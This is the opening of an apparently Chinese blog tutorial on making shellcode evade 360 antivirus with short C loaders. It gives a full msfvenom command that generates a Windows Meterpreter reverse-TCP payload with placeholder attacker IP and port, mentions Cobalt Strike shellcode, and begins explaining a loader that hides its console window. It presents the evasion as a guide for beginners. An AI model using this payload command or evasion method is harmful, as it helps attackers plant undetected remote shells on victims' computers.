shellcode免杀丨C语言三条指令免杀360！你还困吗？

shellcode免杀（1）C语言三条指令免杀360

✉ 1

简介

描述有错的地方各位师傅海涵。

经过一下午的C语言测试，得出了十多种过360的·方法，这里拿三种c的方式过360（思路大体相同），还有一个c++的免杀360和火绒都可以过等有时间都可以跟大家更新。

✉ 2

免杀过程

废话就不多讲了对于初学者友好发展，先看一遍制作过程，我们准备好msf和cs的shllecode

msfvenom -p windows/meterpreter/reverse_tcp LHOST="自己IP" LPORT="自己的端口" -f c > shell.txt

CS生成shellcode，要用c语言的shellcode，每个语言的解析shellcode方式不同所以这里要选好语言形式。

接下来就是把这些shellcode放到源码里进行免杀上线了，接下来的三种c语言免杀都是只能过360的，火绒动态被查，但是最后的C++是两个都可以过的，先来看个正经c语言免杀

看下图，没错c语言免杀就需要这点代码，而且这是八年前的代码，如果研究免杀的朋友应该很眼熟毕竟也是传烂了，本文也主要为了解析免杀，我们来一步步分析。

从这里开始麻烦真的想学免杀的仔细阅读，这是最简单的入门，如果你看不下去就不要学了。

前三行其实就和Java，python的import一样；第四行也就是我们箭头指的这行是隐藏弹出窗口，也就是不让控制台蹦出来，至于unsignedchar指无符号类型的字符数组，这里各位理解为扩容就行了.

下边为代码主要部分，pvoid就是指针，学过c语言的朋友都知道基本都用*代替了这里方便讲解就用了本体类型